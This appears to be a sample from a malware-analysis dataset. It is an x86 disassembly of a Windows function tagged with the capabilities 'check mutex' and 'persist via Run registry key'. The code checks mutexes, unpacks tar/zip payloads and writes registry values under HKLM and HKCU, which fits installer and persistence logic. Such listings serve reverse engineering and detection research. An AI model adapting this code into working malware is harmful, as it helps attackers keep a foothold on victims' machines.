Function at 0x401d0b
Capabilities:
Check mutex on windows
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40a148
push 0x409030
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x690
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x124], ebx
mov dl, byte [0x411ff4]
mov byte [ebp - 0x23c], dl
push 0x3f
pop esi
mov ecx, esi
xor eax, eax
lea edi, [ebp - 0x23b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x444], dl
mov ecx, esi
xor eax, eax
lea edi, [ebp - 0x443]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x130], ebx
mov byte [ebp - 0x11c], dl
mov ecx, esi
xor eax, eax
lea edi, [ebp - 0x11b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x344], dl
mov ecx, esi
xor eax, eax
lea edi, [ebp - 0x343]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x544], dl
mov ecx, esi
xor eax, eax
lea edi, [ebp - 0x543]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, 0x100
push edi
push ebx
lea eax, [ebp - 0x11c]
push eax
call sub.MSVCRT.dll_memset
push edi
push ebx
lea eax, [ebp - 0x344]
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x11c]
push eax
push dword [ebp + 8]
call fcn.0040877d
push 0x5c
push dword [ebp + 8]
call fcn.00408754
add esp, 0x28
mov esi, eax
push 1
push 0x411494
lea eax, [ebp - 0x11c]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [ebp + eax - 0x11c]
push eax
call sub.MSVCRT.dll_memcpy
push esi
call sub.MSVCRT.dll_strlen
add esp, 0x10
sub eax, 4
push eax
push esi
lea eax, [ebp - 0x11c]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [ebp + eax - 0x11c]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 1
push 0x411490
lea eax, [ebp - 0x11c]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [ebp + eax - 0x11c]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
call fcn.00402949
push 0x411d9c
push 1
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateMutexA]
call esi
mov dword [ebp - 0x134], eax
cmp eax, ebx
je 0x40246b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40246b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
je 0x40246b
mov dword [ebp - 4], ebx
mov dword [ebp - 0x54c], ebx
mov dword [ebp - 0x548], ebx
call fcn.0040834e
test eax, eax
jne 0x401f0c
push ebx
call fcn.004081f5
pop ecx
test eax, eax
je 0x401f0c
call fcn.00408321
test eax, eax
jne 0x401f0c
mov edi, dword [ebp + 8]
push edi
call fcn.00401cac
lea eax, [ebp - 0x11c]
push eax
call fcn.00401cac
pop ecx
pop ecx
push 1
pop esi
mov dword [0x411de4], esi
cmp dword [edi + 0x104], esi
jne 0x402182
push dword [edi + 0x10c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x402182
push 0x411b0c
push 1
push ebx
call esi
mov esi, eax
mov dword [ebp - 0x12c], esi
cmp esi, ebx
je 0x402417
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0xb7
je 0x402417
call ebx
cmp eax, 5
je 0x402417
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [0x422194]
push 0x411b9c
push dword [0x40e4f8]
call fcn.004032fb
push 1
call fcn.00404bca
push 0x411a8c
call fcn.00404966
add esp, 0x10
test eax, eax
je 0x401f8f
push dword [0x40ea5c]
mov esi, 0x4118fc
push esi
call fcn.00401a15
pop ecx
pop ecx
jmp 0x401f94
mov esi, 0x4118fc
push dword [ebp + 8]
call fcn.00402816
mov dword [esp], 0x411bdc
push 0x4232e0
push dword [0x40ea64]
push 0xff
lea eax, [ebp - 0x544]
push eax
mov ebx, dword [sym.imp.MSVCRT.dll__snprintf]
call ebx
lea eax, [ebp - 0x544]
push eax
call fcn.00408876
add esp, 0x18
test eax, eax
je 0x402018
mov dword [0x411ddc], 1
call fcn.0040290f
test eax, eax
jne 0x401ffd
push dword [0x40ea10]
push esi
call fcn.00401a15
pop ecx
pop ecx
push 3
jmp 0x402181
push dword [0x40e43c]
push esi
call fcn.00401a15
lea eax, [ebp - 0x544]
push eax
call fcn.00403990
add esp, 0xc
push dword [0x40e670]
call fcn.00403555
pop ecx
mov dword [ebp - 0x54c], eax
test eax, eax
jne 0x402037
push esi
call fcn.004025b8
pop ecx
jmp 0x402044
push 9
push eax
push esi
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
call fcn.00402afa
push edi
push 0x411c9c
push edi
push 0x41177c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.00404779
add esp, 0x14
call fcn.004024ab
mov dword [ebp - 0x1c], eax
cmp eax, 1
jne 0x402078
mov eax, dword [str.qa.bin]
jmp 0x402081
test eax, eax
jne 0x402091
mov eax, dword [str.qu.bin]
mov dword [ebp - 0x130], eax
mov dword [0x411ff0], 2
mov eax, dword [ebp + 8]
push dword [eax + 0x108]
push dword [eax + 0x104]
push esi
push dword [ebp - 0x130]
push dword [0x40eab0]
push dword [0x40eaf0]
mov edi, 0xff
push edi
lea eax, [ebp - 0x444]
push eax
call ebx
push dword [0x40e9d8]
push 0x4232e0
push str._s_s
push edi
lea eax, [ebp - 0x344]
push eax
call ebx
add esp, 0x34
and dword [ebp - 0x128], 0
cmp dword [ebp - 0x128], 3
jae 0x402165
xor eax, eax
mov dword [ebp - 0x554], eax
mov dword [ebp - 0x550], eax
push 0x4232e0
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.0040472d
add esp, 0xc
mov dword [ebp - 0x124], eax
test eax, eax
jl 0x4021c7
and dword [ebp - 0x558], 0
push 0x4232e0
lea eax, [ebp - 0x344]
push eax
call fcn.00404381
pop ecx
pop ecx
mov dword [ebp - 0x558], eax
test eax, eax
jl 0x4021b3
lea eax, [ebp - 0x544]
push eax
call fcn.00403990
pop ecx
mov dword [ebp - 0x124], eax
test eax, eax
jl 0x40219c
mov dword [ebp - 0x548], 1
lea eax, [ebp - 0x344]
push eax
call dword [0x422240]
cmp dword [ebp - 0x548], 0
jne 0x4022c7
push 4
pop esi
mov dword [ebp - 0x124], esi
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
call sub.MSVCRT.dll__local_unwind2
pop ecx
pop ecx
mov eax, esi
jmp 0x40249a
push dword [ebp - 0x558]
push eax
push str.unpack_tar_2_failed__d__d
push esi
call fcn.00401a15
add esp, 0x10
jmp 0x40222d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0x558]
push str.unpack_tar_1_failed__d__d
jmp 0x4021a8
and dword [ebp - 0x560], 0
or dword [ebp - 0x55c], 0xffffffff
lea eax, [ebp - 0x6a0]
push eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x55c], eax
cmp eax, 0xffffffff
je 0x402202
mov eax, dword [ebp - 0x680]
mov dword [ebp - 0x560], eax
jmp 0x40220c
mov dword [ebp - 0x560], 0xfffffffe
push dword [ebp - 0x560]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0x124]
push str.q2_extractzip_failed__d__d_size__d
push esi
call fcn.00401a15
add esp, 0x14
cmp dword [ebp - 0x128], 2
je 0x402165
lea eax, [ebp - 0x11c]
push eax
call dword [0x422240]
lea eax, [ebp - 0x344]
push eax
call dword [0x422240]
and dword [ebp - 0x554], 0
cmp dword [ebp - 0x554], 3
jae 0x4022bc
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.00401226
pop ecx
pop ecx
mov dword [ebp - 0x124], eax
test eax, eax
jge 0x4022bc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0x124]
push dword [0x40ea48]
push esi
call fcn.00401a15
add esp, 0x10
push 0
mov eax, dword [ebp - 0x554]
imul eax, eax, 0x7d0
push eax
call dword [sym.imp.KERNEL32.dll_SleepEx]
inc dword [ebp - 0x554]
jmp 0x40225b
inc dword [ebp - 0x128]
jmp 0x4020e6
call fcn.0040262e
lea eax, [ebp - 0x11c]
push eax
call fcn.00401c6b
push dword [0x40ec1c]
call fcn.0040430d
push dword [0x40eb24]
call fcn.0040430d
push 0x411908
call fcn.0040430d
push 0x411908
push 0x4232e0
push dword [0x40ea64]
push edi
lea eax, [ebp - 0x23c]
push eax
call ebx
call fcn.004026e3
lea eax, [ebp - 0x23c]
push eax
push dword [0x40ea1c]
push 0x80000002
call fcn.00403d0f
add esp, 0x30
mov dword [ebp - 0x13c], eax
test eax, eax
jg 0x4023d6
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
mov dword [ebp - 0x244], eax
lea eax, [ebp - 0x23c]
push eax
push dword [0x40ea1c]
mov ebx, 0x80000001
push ebx
call fcn.00403d0f
add esp, 0xc
mov dword [ebp - 0x138], eax
test eax, eax
jg 0x4023d6
call edi
mov dword [ebp - 0x240], eax
lea eax, [ebp - 0x23c]
push eax
push dword [0x40e6d0]
push ebx
call fcn.00403d0f
add esp, 0xc
mov dword [ebp - 0x124], eax
test eax, eax
jge 0x4023d6
push dword [0x40e6d0]
push dword [0x40ea1c]
call edi
push eax
push dword [ebp - 0x240]
push dword [ebp - 0x244]
push dword [ebp - 0x138]
push dword [ebp - 0x13c]
push dword [ebp - 0x124]
push dword [0x40e63c]
push esi
call fcn.00401a15
add esp, 0x28
call fcn.00402877
push 0x411bdc
call fcn.00403655
push dword [0x40e5a8]
push esi
call fcn.00401a15
lea eax, [ebp - 0x23c]
push eax
call fcn.00402796
add esp, 0x10
and dword [ebp - 0x124], 0
or dword [ebp - 4], 0xffffffff
call fcn.00402430
xor eax, eax
jmp 0x40249a
push dword [0x40e6bc]
push 0x4118fc
call fcn.00401a15
pop ecx
pop ecx
push 2
jmp 0x402181
call fcn.00402877
push dword [0x40e9e0]
push 0x4118fc
call fcn.00401a15
push dword [ebp + 8]
call fcn.00401cac
lea eax, [ebp - 0x11c]
push eax
call fcn.00401cac
add esp, 0x10
push 0xa
pop eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4